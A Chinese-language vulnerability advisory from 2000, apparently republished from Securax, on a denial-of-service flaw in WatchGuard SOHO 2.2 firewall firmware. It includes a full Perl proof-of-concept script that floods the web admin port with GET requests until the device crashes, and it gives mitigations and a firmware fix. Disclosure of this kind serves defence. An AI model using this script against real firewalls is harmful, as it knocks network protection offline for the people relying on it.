发布日期：2000-12-11
更新日期：2000-12-11

受影响系统：

WatchGuard SOHO Firmware 2.2.1以及更早版本
   - WatchGuard SOHO 2.2

不受影响系统：

WatchGuard SOHO Firmware >2.2.1

描述：

---

SOHO 2.2是Watchguard公司开发的SOHO防火墙产品。

在使用firmware 2.2.1的Watchguard SOHO 2.2 防火墙允许远程攻击者对防火
墙进行拒绝服务攻击并导致它不能正常提供服务。

如果远程攻击者向防火墙的WEB管理端口提交大量的GET（多于70个）请求，可
能导致防火墙资源耗尽，防火墙可能会重启或者立刻关闭。如果防火墙自动重
启，5分钟后它将恢复正常工作。然而如果防火墙完全关闭了，就只能重新关闭
并打开电源了。除了系统重启的信息，这种攻击并不会被防火墙所记录。

<* 来源：Securax-SA-10：http://www.securax.org/pers *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing.  So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <filip@securax.be>
# ----------------------------------------------------------
use IO::Socket;

  $host = "your_watchguard_ip";
  $port = "your_port";
  $repeat = "100";
  $request = "GET / HTTP/1.0";

  print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
  PeerPort=>$port)|| die "Failed.\n";

   $counter = 0;
   print "Repeating request for $repeat times.\n";
    while($counter < $repeat) {
          print $socket "$request\n";
          $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
          PeerPort=>$port) ||
          die "\nThe Watchguard SOHO has crashed.  BEEFCAKE!...\n";
          print ".";
          $counter += 1;
    }
   print "\nDone.\n\n";

   close($socket);



建议：

---

临时解决方法：

NSFOCUS建议您只允许可信主机或者网络访问防火墙管理端口。

厂商补丁：

请尽快更新到最新的Firmware ( > 2.2.1 )。厂商地址：

http://bisd.watchguard.com



浏览次数：5648
严重程度：0（网友投票）